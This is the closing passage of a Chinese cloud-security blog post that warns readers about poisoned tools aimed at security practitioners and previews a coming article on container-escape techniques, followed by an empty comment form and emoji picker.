我把这条写进文章,是因为”工具投毒”在云安全领域已经发生过多次,而且专门挑这个圈子里的人下手。技术再熟,工具来源不干净,一样会翻车。


下一篇讲第四篇:容器逃逸实战。会从”拿到一个容器 shell 之后怎么判断能逃逸”开始,逐条讲 docker.sock 挂载、cgroup release_agent、特权容器、capabilities 和各种内核 CVE 的完整利用命令和前置条件。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇